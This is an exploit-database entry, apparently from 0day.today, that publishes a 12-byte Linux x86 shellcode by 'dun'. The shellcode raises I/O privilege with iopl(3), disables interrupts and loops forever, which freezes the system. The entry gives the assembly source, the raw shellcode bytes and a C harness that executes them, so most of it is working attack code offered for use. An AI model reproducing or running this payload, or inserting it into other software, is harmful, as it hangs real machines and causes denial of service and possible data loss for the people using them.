linux/x86 iopl(3); asm(cli); while(1){} 12 bytes

2008-09-17T00:00:00
ID 1337DAY-ID-7200
Type zdt
Reporter dun
Modified 2008-09-17T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ================================================
linux/x86 iopl(3); asm(cli); while(1){} 12 bytes
================================================






/*
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    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

 	[ dun[at]strcpy.pl ]
  
 [ linux/x86 iopl(3); asm("cli"); while(1){} 12 bytes ]
 
 ###############################################################
   iopl(3); asm("cli"); while(1){}
   // * this code cause freezeing system
 #################################################################
 
 __asm__(
	"xorl %eax, %eax\n"
	"pushl $0x3\n"
	"popl %ebx\n"
	"movb $0x6e,%al\n"
	"int $0x80\n"
	"cli\n"
	"x1:\n"
	"jmp x1\n"
 );

*/


char shellcode[]="\x31\xc0\x6a\x03\x5b\xb0\x6e\xcd\x80\xfa\xeb\xfe";

int main() {

	void (*sc)();
	sc = (void *)&shellcode;
	sc();
	
return 0;
}



#  0day.today [2018-01-03]  #